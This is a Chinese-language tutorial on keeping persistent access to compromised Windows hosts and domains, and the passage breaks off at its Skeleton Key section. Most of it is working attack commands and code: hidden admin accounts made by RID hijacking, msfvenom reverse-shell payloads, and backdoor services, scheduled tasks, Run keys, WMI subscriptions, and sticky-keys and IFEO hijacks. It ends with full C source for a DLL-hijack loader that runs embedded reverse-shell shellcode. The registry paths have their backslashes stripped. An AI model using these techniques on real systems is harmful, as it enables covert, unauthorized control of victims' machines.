前言
在我们成功获取权限后,为了防止管理员发现异常和修复漏洞而导致内网权限丢失,我们往往需要采取一些手段来实现对目标服务器的持久化访问,本文简单介绍权限维持的常见方法,希望能对正在学习内网的师傅有所帮助。
系统后门常见方法
创建影子账户
影子账户其实就是隐藏的账号,这个账户无论通过计算机管理
还是命令行查询都无法看到,只能在注册表中找到其信息。测试人员常常通过创建具有管理员权限的影子账号,在目标主机上实现权限维持,但此操作有条件,需要有管理员级别的权限
。
示例如下:
1、首先创建隐藏账户,我们在命令行下输入如下指令即可
net user Hacker$ Hacker@123 /add
#"$"符号表示该用户为隐藏用户
可以看出刚刚创建的用户通过net user
是无法查询到的,不过此时在计算机管理
的本地用户和组
中仍然可以看到该用户
同时此时的用户仍为标准用户,我们为了让他有管理员级别的权限,还需要修改注册表。
2、在注册表中编辑器中定位到HKEY_LOCAL_MACHINESAMSAM,而后右键选择权限,添加Administrator的完全控制和读取权限(默认情况下标准用户和管理员无权读取及控制)。
3.在注册表项HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsersNames
处选择Administrator
用户
可以看到此时简直为0x1f4
,我们选择与其相同的目录名,即000001F4
目录,接下来复制表项中的F属性的值
4.以同样方式找到Hacker
$用户的值为0x3ed
,然后选择000003ED
目录,修改F属性为刚刚复制的F属性
以上过程其实是Hacker$
用户劫持了Administrator
用户的RID,从而使Hacker$
获得Administrator
用户的权限。
5.分别选中注册表项Hacker$
和000003ED
并导出
接下来在命令行中执行如下命令,删除刚刚的账户
net user Hacker$ /del
6.将刚刚的两个注册表进行导入,在注册表编辑器中进行导入
此时无论是命令行
还是本地用户和组
,都无法查询到该用户,只有在注册表中可以发现此账号
至此,影子账号创建完成
系统服务后门
创建系统服务
对于启动类型为自动
的系统服务,我们可以将服务运行的二进制文件路径修改为后门程序或其他攻击载荷。当修改过后,即使管理员发现了我们入侵了主机,进行漏洞等修复,仍不能阻止我们重新获取权限,这是因为当系统或服务重启时,恶意的系统服务会自动启动,届时我们可以重新获取对目标主机的控制权。
这个方法所需条件同上,需要我们具有目标主机的管理员权限
。
示例如下:
1.首先在我们的服务器生成木马,我这里利用msf生成木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.4 LPORT=4444 -f exe > shell.exe
2.将木马上传至受害主机
3.创建系统服务
我们需要创建系统服务执行恶意文件,具体指令如下
sc create Backdoor binpath= "cmd.exe /k C:WindowsSystem32shell.exe" start= "auto" obj= "LocalSystem"
#binpath,指定服务的二进制文件路径,注意"="后必须有一个空格
#start,指定启动类型;obj,指定服务运行的权限
此指令将会在目标主机创建一个名为Backdoor
的系统服务,启动类型为自动
,启动权限为System
。
此时便完成了,当系统或服务重启时,我们创建的服务就会以SYSTEM权限运行后门程序,我们也会重新获取权限
利用现有的系统服务
通过修改现有服务的配置信息,使服务启动运行指定的后门程序。我们可以通过sc config
命令修改服务的binpath
选项,也可以尝试修改注册表的ImagePath键,二者都直接指定了相应服务的启动时的运行的二进制文件。
示例如下:
在获取权限后,我们首先将我们准备好的恶意文件进行上传
而后进行服务修改,篡改一个已在运行的进程即可,使得它运行恶意文件具体指令如下
sc config Winmgmt binpath= "cmd.exe /k C:shell.exe"
shutdown -r -t 0 #重启系统,模拟服务重启
而后等重启完成,即可发现已成功上线
且顺便进行了权限提升,从管理员权限提升至了SYSTEM权限。
利用svchost.exe启动服务
svchost.exe
是Windows的系统文件,许多服务通过注入该程序进程启动,所以系统中会存在多个该程序的进程。
在Windows系统中,需要由此进程启动的服务将以DLL形式实现。在安装这些服务时,需要将服务的可执行文件路径指向svchost.exe
。在启动这些服务时,由svchost.exe
调用相应服务的DLL文件,而具体调用哪个DLL是由该服务在注册表的信息所决定的。
这里以wuauserv(Windwos Update)
服务为例进行讲解。在注册表中找到此服务,如下图所示
从ImagePath
键中可得知,该服务启动的可执行文件路径是C:Windowssystem32svchost.exe -k netsvcs
,说明该服务是依靠svchost.exe
加载DLL文件来实现的。
该服务的注册表下还有一个Parameters
子项,其中的ServiceDll
键值表面该服务由哪个DLL文件负责,如下图
当服务启动时,svchost.exe
就会加载wuaueng.dll
文件,并执行其提供的具体服务。
需要注意的是,系统会根据服务可执行文件路径中的参数对服务进行分组,如C:Windowssystem32svchost.exe -k netsvcs
表明该服务属于netsvcs
这个服务组。通常,每个svchost
进程负责运行一组服务。因此,并不是每启动一个服务就会增加一个svchost.exe
进程。
svchost.exe
的所有服务分组位于注册表中的HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSvchost
中。
通过svchost.exe
加载启动的服务都要在该注册表中注册。
在实战中,我们可以通过svchost.exe
加载恶意服务,以此建立持久化后门。由于恶意服务的DLL将加载到svchost.exe
进程,恶意进程不是独立运行的,因此使用这种方法建立的后门具有很高的隐蔽性。示例如下。
1、制作一个负责提供恶意服务的DLL文件,这里使用msf进行生成,指令如下
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.4 LPORT=4444 -f dll > shell.dll
2、将生成的DLL上传到目标主机的Sysetm32目录下然后执行如下命令,安装并配置恶意服务
#创建名为Backdoor的服务,并以svchost加载的方式启动,服务分组为netsvc
sc create Backdoor binpath= "C:WindowsSystem32svchost.exe -k netsvc" start= auto obj= LocalSystem
#将Backdoor服务启动时加载的DLL为shell.dll
reg add HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservicesBackdoorParameters /v ServiceDLL /t REG_EXPAND_SZ /d "C:WindowsSystem32shell.dll"
#配置服务描述
reg add HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservicesBackdoor /v Description /t REG_SZ /d "Windows xxx Service"
#配置服务显示名称
reg add HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservicesBackdoor /v DisplayName /t REG_SZ /d "Backdoor"
#创建服务新分组netsvc,并将Backdoor添加进去
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSvchost" /v netsvc /t REG_MULTI_SZ /d Backdoor
至此,恶意DLL成功注入,当系统重启时,Svchost
以SYSTEM权限加载恶意服务,目标主机将重新上线,如下
计划任务后门
通过创建计划任务,让目标主机在特定的时间点或规定的周期内重复运行我们预先准备的后门程序,从而实现权限持久化。
示例如下
schtasks /Create /TN Backdoor /SC minute /MO 1 /TR C:WindowsSystem32shell.exe /Ru System /F
在目标主机上创建一个名为Backdoor
的计划任务,并每隔 1 分钟以SYSTEM权限运行一次后门程序shell.exe
需要注意的是,如果以SYSTEM
权限运行计划任务,就需要拥有管理员级别的权限。
当计划任务触发时,目标主机将重新上线
在计算机管理
中有计划任务程序库
,其中存储了计算机上所有的计划任务
不难看出,计划任务在计划任务程序库
中以类似文件目录的形式存储,所有计划任务都存储在最内层的目录中。因此,为了增强隐蔽性,建议在创建计划任务后门时遵守这个规范。
执行以下命令:
schtasks /Create /TN MicrosoftWindowsAppTaskAppRun /SC daily /ST 08:00 /MO 1 /TR C:shell.exe /Ru System /F
此指令将在MicrosoftWindowsAppTask路径下创建一个名为AppRun的计划任务后门,如下
启动项/注册表键后门
我们可以通过将后门程序添加到系统启动文件夹或通过注册表运行键引用来进行权限持久化。添加的后门程序将在用户登录的上下文中启动,并且将具有与账户相关联的权限等级。
1、系统启动文件夹
将程序放至启动文件夹中会导致程序在用户登录时执行。Windows系统有两种常见的启动文件夹,如下所示:
#位于以下目录中的程序将在指定用户登录时启动
C:Users[Username]AppDataRoamingMicrosoftWindowsStart
C:Users[Username]AppDataRoamingMicrosoftWindowsStart MenuProgramsStartUp
#位于以下目录中的程序将在所有用户登录时启动
C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUp
其中,第一个文件夹中的程序仅在指定用户登录时启动,第二个文件夹是整个系统范围的启动文件夹,无论哪个用户账号登录,都将检查并启动该文件夹中的程序。
2、运行键(Run Keys)
Windows系统上有许多注册表项可以用来设置在系统启动或用户登录时运行指定的程序或加载DLL文件,测试人员可以对此类注册表进行滥用,以建立持久化后门。
当用户登录时,系统会依次检查位于注册表运行键中的程序,并在用户登录的上下文中启动。Windows系统默认创建以下运行键,如果修改HKEY_LOCAL_MACHINE下的运行键,需要拥有管理员级别的权限。
#以下注册表项中的程序将在当前用户登录时启动
HKEY_LOCAL_USERSoftwareMicrosoftWindowsCurrentVersionRun
HKEY_LOCAL_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce
#以下注册表中的程序将在所有用户登录时启动
HKEY_LOCAL_MACHINESoftWareMicrosoftWindowsCurrentVersionRun
HKEY_LOCAL_MACHINESoftWareMicrosoftWindowsCurrentVersionRunOnece
接下来我们在注册表运行键中添加一个名为Backdoor
的键,并将键值指向后门程序的绝对路径,具体指令如下
reg add "HKEY_LOCAL_MACHINESoftWareMicrosoftWindowsCurrentVersionRun" /v Backdoor /t REG_SZ /d "C:shell.exe"
当用户重新登录时,目标主机将重新上线
3、Winlogon Helper
Winlogon是Windows系统的组件,用于处理与用户有关的各种行为,如登录、注销、在登录时加载用户配置文件、锁定屏幕等。这些行为由系统注册表管理,注册表中的一些键值定义了在Windows登录期间会启动哪些进程。
我们可以滥用此类注册表键值,使Winlogon在用户登录时执行恶意程序,以此建立持久化后门。常见的有如下两个
#指定用户登录时执行的用户初始化程序,默认为userinit.exe
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindwos NTCurrentVersionWinlogonShell
#指定Windows身份验证期间执行的程序,默认为explorer.exe
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonUserinit
执行以下命令
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon" /V Userinit /d "C:WindowsSystem32userinit.exe,shell.exe" /f
此操作将会在Userinit
键值中添加一个后门程序,该程序将在用户登录时启动。如下图
事件触发执行
各种操作系统都具有监视和订阅事件的机制,如登录、启动程序或其他用户活动时运行特定的应用程序或代码等,我们可以通过滥用这些机制实现持久化。
利用WMI事件订阅
之前在权限提升时曾说过使用WMI事件进行横线移动的方法。该方法在远程主机上部署永久事件订阅,当指定进程启动时,将执行恶意命令以获取远程主机权限。同样,进行权限维持时,我们可以在已获取权限的主机上部署永久事件订阅,当特定事件触发时,执行特定的后门程序或其他攻击载荷,以建立持久化后门。
条件是需要拥有管理员级别的权限
。
手动利用
通常情况下,WMI事件订阅的需要分别创建事件过滤器和事件消费者,并把二者关联起来,以将事件发生和触发执行绑定到一起。
示例如下:
这里通过Powershell部署一个事件订阅,可以在每次系统启动后的5分钟内执行后门程序shell.exe,相关命令如下
# 创建一个名为 TestFilter 的事件过滤器
$EventFilterArgs = @{
EventNamespace = 'root/cimv2'
Name = "TestFilter"
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
QueryLanguage = 'WQL'
}
$EventFilter = Set-WmiInstance -Namespace rootsubscription -Class __EventFilter -Arguments $EventFilterArgs
# 创建一个名为 TestConsumer 的事件消费者,在指定事件发生时执行后门程序
$CommandLineEventConsumerArgs = @{
Name = "TestConsumer"
CommandLineTemplate = "cmd.exe /K C:WindowsSystem32shell.exe"
}
$EventConsumer = Set-WmiInstance -Namespace rootsubscription -Class CommandLineEventConsumer -Arguments $CommandLineEventConsumerArgs
# 将事件过滤器和事件消费者绑定在一起
$FilterConsumerBindingArgs = @{
Filter = $EventFilter
Consumer = $EventConsumer
}
$FilterConsumerBinding = Set-WmiInstance -Namespace rootsubscription -Class __FilterToConsumerBinding -Arguments $FilterConsumerBindingArgs
将次ps1脚本进行执行后,目标主机将在启动的5分钟内重新上线
Sharp-WMIEvent利用
Sharp-WMIEvent
不仅可以用来横向移动,也可以用来进行权限维持。
示例如下:
在目标主机上执行如下命令,运行Sharp-WMIEvent
Import-Module .Sharp-WMIEvent.ps1
Sharp-WMIEvent -Trigger UserLogon -Command "cmd.exe /c C:shell.exe"
这将在当前主机上部署一个随机命名的永久事件订阅,每当用户登录时将执行恶意程序,目标主机将重新上线。
此外,在 msf 中也内置了通过 WMI 事件订阅在目标系统上实现权限持久化的模块,即exploit/windows/local/wmi_persistence
,支持不同的选项,可用于特定事件触发时在系统上执行任意的攻击载荷。
利用系统辅助功能
Windows
系统包含了许多供用户通过组合键启动的辅助功能,我们可以修改这些程序的启动方式,以获取目标主机的命令行或运行指定的后门程序,不需要登录系统即可获取目标主机权限。
常见的辅助功能程序如下
其中最常用利用的辅助功能程序是sethc.exe
,通常被称为粘滞键
。当连续按 5 次 Shift 键时,该程序将启动。
我们可以在目标系统上将cmd.exe
伪装为sethc.exe
,而后在远程登录屏幕中连续输入五次Shift
键,即可获取一个命令行窗口,实现未授权访问,该方法的利用条件是需要拥有管理员权限
,具体利用如下。
手动利用
在高版本的Windows中,C:WindowsSystem32
目录下的文件受到系统保护,只有TrustedInstaller
权限的用户才对其中的文件具有修改和写入权限。因此,在替换sethc.exe
之前,我们首先需要通过令牌窃取将权限提升至TrustedInstaller
权限。
此时虽然提示为SYSTEM权限,但实际已经变成TrustedInstaller权限,接下来执行如下命令
chcp 65001
move sethc.exe sethc.exe.bak
copy cmd.exe sethc.exe
此时在远程桌面上输入5次Shift
键即可获取命令行窗口
Msf利用
Metasploit框架提供了一个后渗透测试利用模块,该模块可用于自动化粘性键的持久性技术,该模块将用CMD替换所选的辅助功能二进制文件(sethc,osk,disp,utilman)。
use post/windows/manage/sticky_keys
set SESSION 11
exploit
之后在目标主机中连续五次shift即可执行SYSTEM权限的命令行,这在RDP远程登录用户密码已被修改的情况下很有用。
RDP劫持
通过粘滞键等系统辅助工具创建的后门以SYSTEM权限运行,我们可以在获取的命令行中执行RDP劫持,无需任何用户凭据即可登入目标系统桌面。
这里查询过用户后,输入tscon 会话名
即可直接进入桌面
成功进入qwq
用户的桌面
IFEO注入
IFEO
,即Image File Execution Options,是 Windows 系统的一个注册表项,路径为HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options
。在 Windows NT 系统中,IFEO 原本是为一些在默认系统环境中运行时可能引发错误的程序执行体提供特殊的环境设定。IFEO 使开发人员能够将调试器附加到应用程序。当进程创建时,应用程序的 IFEO 中设置的调试器将附加到应用程序的名称前,从而有效地在调试器下启动新进程。
Dubugger
当用户启动计算机的程序后,系统会在注册表的 IFEO 中查询所有的程序子键,如果存在与该程序名称相同的子键,就读取对应子键的Dubugger
键值。如果该键值未被设置,就默认不做处理,否则直接用该键值所指定的程序路径来代替原始的程序。
通过编辑Dubugger
的值,我们可以通过修改注册表的方式创建粘滞键后门,无需获取TrustedInstaller
权限。
在目标主机上执行以下命令,向Image File Execution Options
注册表项中添加映像劫持子键,并将Dubugger
的值设置为要执行的程序即可。
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe" /v Debugger /t REG_SZ /d "C:WindowsSystem32cmd.exe"
而后输入五次Shift
即可得到命令行
GlobalFlag
IFEO 还可以在指定程序静默退出时启动任意监控程序,需要通过设置以下 3 个注册表来实现。
# 启动对记事本进程的静默退出监视
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnotepad.exe" /v GlobalFlag /t REG_DWORD /d 512
# 启动 Windows 错误报告进程 WerFault.exe,它将成为 shell.exe 的父进程
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExitnotepad.exe" /v ReportingMode /t REG_DWORD /d 1
# 将监视器进程设为 shell.exe
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExitnotepad.exe" /v MonitorProcess /d "C:WindowsSystem32shell.exe"
当用户打开记事本时,程序正常启动,而将记事本关闭或相关进程被杀死后,将在WeFault.exe
进程中创建子进程以运行shell.exe
利用屏幕保护程序
屏幕保护是 Windows 系统的一项功能,可以在用户一段时间不活动后播放屏幕消息或图形动画。屏幕保护程序由具有 .scr 文件扩展名的可执行文件组成。系统注册表项 HKEY_CURRENT_USERControl PanelDesktop 下存储了用来设置屏幕保护程序的键值。
我们可以通过编辑注册表,修改屏幕保护程序的执行路径(即 scrnsave.exe 键的值),当触发屏幕保护时执行自定义的后门程序,以此实现持久化,具体命令如下:
# 将触发屏幕保护时执行的程序设为自定义的恶意程序,这里的程序以 .scr 或 .exe 为扩展名皆可
reg add "HKEY_CURRENT_USERControl PanelDesktop" /v SCRNSAVE.EXE /t REG_SZ /d "C:Users123shell.exe"
# 启用屏幕保护
reg add "HKEY_CURRENT_USERControl PanelDesktop" /v ScreenSaveActive /t REG_SZ /d 1
# 设置不需要密码解锁
reg add "HKEY_CURRENT_USERControl PanelDesktop" /v ScreenSaverIsSecure /t REG_SZ /d "0"
# 将用户不活动的超时设为 60 秒
reg add "HKEY_CURRENT_USERControl PanelDesktop" /v ScreenSaveTimeOut /t REG_SZ /d "60"
利用该方法不需要管理员权限,以标准用户权限即可利用。
用户一段时间不活动后,屏幕保护程序将触发恶意程序执行,目标主机将会重新上线。
DLL劫持
DLL 劫持是指通过将同名的恶意 DLL 文件放在合法 DLL 文件所在路径前的搜索位置,当应用程序搜索 DLL 时,会以恶意 DLL 代替合法的 DLL 来加载。使用DLL劫持进行权限维持的条件是需要具有管理员权限
。
示例如下:
这里以Navicat为例。
1、启动Navicat并通过Process Monitor
监控其进程,过滤出加载的DLL。
旧版本的Monitor下载链接如下
https://web.archive.org/web/20170804213208/https://download.sysinternals.com/files/ProcessMonitor.zip
从该图中可以看出navicat.exe
加载dll文件的顺序,Navicat首先尝试在自身的安装目录中加载version.dll
,但是安装目录下没有,所以会尝试在系统目录下加载version.dll
,并成功加载。
此时,我们可以伪造一个恶意的version.dll
放入Navicat
的安装目录,当程序启动时,就会用安装目录中的恶意version.dll
代替原来系统目录中的version.dll
,实现DLL劫持。
2、构造的恶意DLL需要与原来的合法DLL具有相同的导出函数,这里使用AheadLib
工具获取合法的version.dll
的导出函数,并自动化生成劫持代码,这里选择直接转发函数,而后选择生成。
得到函数代码如下
// 头文件
#include <Windows.h>
// 导出函数
#pragma comment(linker, "/EXPORT:GetFileVersionInfoA=versionOrg.GetFileVersionInfoA,@1")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoByHandle=versionOrg.GetFileVersionInfoByHandle,@2")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoExW=versionOrg.GetFileVersionInfoExW,@3")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeA=versionOrg.GetFileVersionInfoSizeA,@4")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeExW=versionOrg.GetFileVersionInfoSizeExW,@5")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeW=versionOrg.GetFileVersionInfoSizeW,@6")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoW=versionOrg.GetFileVersionInfoW,@7")
#pragma comment(linker, "/EXPORT:VerFindFileA=versionOrg.VerFindFileA,@8")
#pragma comment(linker, "/EXPORT:VerFindFileW=versionOrg.VerFindFileW,@9")
#pragma comment(linker, "/EXPORT:VerInstallFileA=versionOrg.VerInstallFileA,@10")
#pragma comment(linker, "/EXPORT:VerInstallFileW=versionOrg.VerInstallFileW,@11")
#pragma comment(linker, "/EXPORT:VerLanguageNameA=versionOrg.VerLanguageNameA,@12")
#pragma comment(linker, "/EXPORT:VerLanguageNameW=versionOrg.VerLanguageNameW,@13")
#pragma comment(linker, "/EXPORT:VerQueryValueA=versionOrg.VerQueryValueA,@14")
#pragma comment(linker, "/EXPORT:VerQueryValueW=versionOrg.VerQueryValueW,@15")
// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
}
else if (dwReason == DLL_PROCESS_DETACH)
{
}
return TRUE;
}
该代码通过pragma预处理指令实现函数转发,以确保应用程序能正常启动。
应用程序的运行依赖于原始 DLL 文件中提供的函数,恶意 DLL 必须提供相同功能的函数才能保证程序的正常运行。因此编写 DLL 劫持代码时,需要通过函数转发,将应用程序调用的函数从恶意 DLL 重定向到原始的合法 DLL。
在上述代码中,当Navicat需要调用合法DLL文件中的GetFileVersionInfoA
函数时,系统会根据给出的pragma指令直接转发给versionOrg.dll
中的GetFileVersionInfoA
函数去执行。由于劫持的原始DLL位于SysWoW64
目录中,因此需要将pragma
指令中的versionOrg
替换成C:WindowsSysWoW64version
3、编写DoMagic
函数,此函数用于申请虚拟内存并执行Metasploit
生成的shellcode,代码如下
// 申请内存并执行 Shellcode
DWORD WINAPI DoMagic(LPVOID lpParameter){
unsigned char shellcode[] =
"xfcx48x83xe4xf0xe8xccx00x00x00x41x51x41x50x52"
"x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48"
"x8bx52x20x4dx31xc9x48x8bx72x50x48x0fxb7x4ax4a"
"x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41"
"x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48"
"x01xd0x66x81x78x18x0bx02x0fx85x72x00x00x00x8b"
"x80x88x00x00x00x48x85xc0x74x67x48x01xd0x8bx48"
"x18x44x8bx40x20x50x49x01xd0xe3x56x4dx31xc9x48"
"xffxc9x41x8bx34x88x48x01xd6x48x31xc0x41xc1xc9"
"x0dxacx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45"
"x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8b"
"x0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01"
"xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48"
"x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9"
"x4bxffxffxffx5dx49xbex77x73x32x5fx33x32x00x00"
"x41x56x49x89xe6x48x81xecxa0x01x00x00x49x89xe5"
"x49xbcx02x00x1ax0axc0xa8xdcx84x41x54x49x89xe4"
"x4cx89xf1x41xbax4cx77x26x07xffxd5x4cx89xeax68"
"x01x01x00x00x59x41xbax29x80x6bx00xffxd5x6ax0a"
"x41x5ex50x50x4dx31xc9x4dx31xc0x48xffxc0x48x89"
"xc2x48xffxc0x48x89xc1x41xbaxeax0fxdfxe0xffxd5"
"x48x89xc7x6ax10x41x58x4cx89xe2x48x89xf9x41xba"
"x99xa5x74x61xffxd5x85xc0x74x0ax49xffxcex75xe5"
"xe8x93x00x00x00x48x83xecx10x48x89xe2x4dx31xc9"
"x6ax04x41x58x48x89xf9x41xbax02xd9xc8x5fxffxd5"
"x83xf8x00x7ex55x48x83xc4x20x5ex89xf6x6ax40x41"
"x59x68x00x10x00x00x41x58x48x89xf2x48x31xc9x41"
"xbax58xa4x53xe5xffxd5x48x89xc3x49x89xc7x4dx31"
"xc9x49x89xf0x48x89xdax48x89xf9x41xbax02xd9xc8"
"x5fxffxd5x83xf8x00x7dx28x58x41x57x59x68x00x40"
"x00x00x41x58x6ax00x5ax41xbax0bx2fx0fx30xffxd5"
"x57x59x41xbax75x6ex4dx61xffxd5x49xffxcexe9x3c"
"xffxffxffx48x01xc3x48x29xc6x48x85xf6x75xb4x41"
"xffxe7x58x6ax00x59x49xc7xc2xf0xb5xa2x56xffxd5";
void* exec = VirtualAlloc(0,sizeof shellcode,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
memcpy(exec,shellcode,sizeof shellcode);
((void(*)())exec)();
return 0;
}
4、DllMain函数是整个DLL文件的入口函数,可以创建线程调用劫持后需要进行的功能。在DllMain函数这种添加以下代码,创建进程调用DoMagic函数。
HANDLE hThread = CreateThread(NULL,0,DoMagic,0,0,0);
if(hThread){
CloseHandle(hThread);
}
最终DLL代码如下
// 头文件
#include <Windows.h>
// 导出函数
#pragma comment(linker, "/EXPORT:GetFileVersionInfoA=C:\Windows\SysWoW64\version.GetFileVersionInfoA,@1")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoByHandle=C:\Windows\SysWoW64\version.GetFileVersionInfoByHandle,@2")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoExA=C:\Windows\SysWoW64\version.GetFileVersionInfoExA,@3")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoExW=C:\Windows\SysWoW64\version.GetFileVersionInfoExW,@4")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeA=C:\Windows\SysWoW64\version.GetFileVersionInfoSizeA,@5")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeExA=C:\Windows\SysWoW64\version.GetFileVersionInfoSizeExA,@6")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeExW=C:\Windows\SysWoW64\version.GetFileVersionInfoSizeExW,@7")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeW=C:\Windows\SysWoW64\version.GetFileVersionInfoSizeW,@8")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoW=C:\Windows\SysWoW64\version.GetFileVersionInfoW,@9")
#pragma comment(linker, "/EXPORT:VerFindFileA=C:\Windows\SysWoW64\version.VerFindFileA,@10")
#pragma comment(linker, "/EXPORT:VerFindFileW=C:\Windows\SysWoW64\version.VerFindFileW,@11")
#pragma comment(linker, "/EXPORT:VerInstallFileA=C:\Windows\SysWoW64\version.VerInstallFileA,@12")
#pragma comment(linker, "/EXPORT:VerInstallFileW=C:\Windows\SysWoW64\version.VerInstallFileW,@13")
#pragma comment(linker, "/EXPORT:VerLanguageNameA=C:\Windows\SysWoW64\version.VerLanguageNameA,@14")
#pragma comment(linker, "/EXPORT:VerLanguageNameW=C:\Windows\SysWoW64\version.VerLanguageNameW,@15")
#pragma comment(linker, "/EXPORT:VerQueryValueA=C:\Windows\SysWoW64\version.VerQueryValueA,@16")
#pragma comment(linker, "/EXPORT:VerQueryValueW=C:\Windows\SysWoW64\version.VerQueryValueW,@17")
// 申请内存并执行 Shellcode
DWORD WINAPI DoMagic(LPVOID lpParameter){
unsigned char shellcode[] =
"xfcx48x83xe4xf0xe8xccx00x00x00x41x51x41x50x52"
"x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48"
"x8bx52x20x4dx31xc9x48x8bx72x50x48x0fxb7x4ax4a"
"x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41"
"x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48"
"x01xd0x66x81x78x18x0bx02x0fx85x72x00x00x00x8b"
"x80x88x00x00x00x48x85xc0x74x67x48x01xd0x8bx48"
"x18x44x8bx40x20x50x49x01xd0xe3x56x4dx31xc9x48"
"xffxc9x41x8bx34x88x48x01xd6x48x31xc0x41xc1xc9"
"x0dxacx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45"
"x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8b"
"x0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01"
"xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48"
"x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9"
"x4bxffxffxffx5dx49xbex77x73x32x5fx33x32x00x00"
"x41x56x49x89xe6x48x81xecxa0x01x00x00x49x89xe5"
"x49xbcx02x00x1ax0axc0xa8xdcx84x41x54x49x89xe4"
"x4cx89xf1x41xbax4cx77x26x07xffxd5x4cx89xeax68"
"x01x01x00x00x59x41xbax29x80x6bx00xffxd5x6ax0a"
"x41x5ex50x50x4dx31xc9x4dx31xc0x48xffxc0x48x89"
"xc2x48xffxc0x48x89xc1x41xbaxeax0fxdfxe0xffxd5"
"x48x89xc7x6ax10x41x58x4cx89xe2x48x89xf9x41xba"
"x99xa5x74x61xffxd5x85xc0x74x0ax49xffxcex75xe5"
"xe8x93x00x00x00x48x83xecx10x48x89xe2x4dx31xc9"
"x6ax04x41x58x48x89xf9x41xbax02xd9xc8x5fxffxd5"
"x83xf8x00x7ex55x48x83xc4x20x5ex89xf6x6ax40x41"
"x59x68x00x10x00x00x41x58x48x89xf2x48x31xc9x41"
"xbax58xa4x53xe5xffxd5x48x89xc3x49x89xc7x4dx31"
"xc9x49x89xf0x48x89xdax48x89xf9x41xbax02xd9xc8"
"x5fxffxd5x83xf8x00x7dx28x58x41x57x59x68x00x40"
"x00x00x41x58x6ax00x5ax41xbax0bx2fx0fx30xffxd5"
"x57x59x41xbax75x6ex4dx61xffxd5x49xffxcexe9x3c"
"xffxffxffx48x01xc3x48x29xc6x48x85xf6x75xb4x41"
"xffxe7x58x6ax00x59x49xc7xc2xf0xb5xa2x56xffxd5";
void* exec = VirtualAlloc(0,sizeof shellcode,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
memcpy(exec,shellcode,sizeof shellcode);
((void(*)())exec)();
return 0;
}
// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
HANDLE hThread = CreateThread(NULL,0,DoMagic,0,0,0);
if(hThread){
CloseHandle(hThread);
}
}
else if (dwReason == DLL_PROCESS_DETACH)
{
}
return TRUE;
}
5、使用Visual Studio创建DLL项目并进行编译,以生成恶意的version.dll文件
将生成的恶意DLL文件放入Navicat的安装目录,当用户启动Navicat时,目标将重新上线。
域后门技术
当获取域控制器的权限后,为了防止对域控制器权限的丢失,测试人员需要使用一些特定的持久化技术来维持已获取到的域权限,接下来进行简单介绍。
创建Skeleton Key域后门
Skeleton Key即万能钥匙
,通过在域控制器上安装Skeleton Key,所有域用户账号都可以使用一个相同的密码进行认证,同时原密码仍然有效。该技术通过注入lsass.exe
进程实现,创建的Skeleton Key仅保留在内存中,如果域控重启,Skeleton Key就会失效。利用该方法的条件是需要有域管理员级别的权限
常规利用
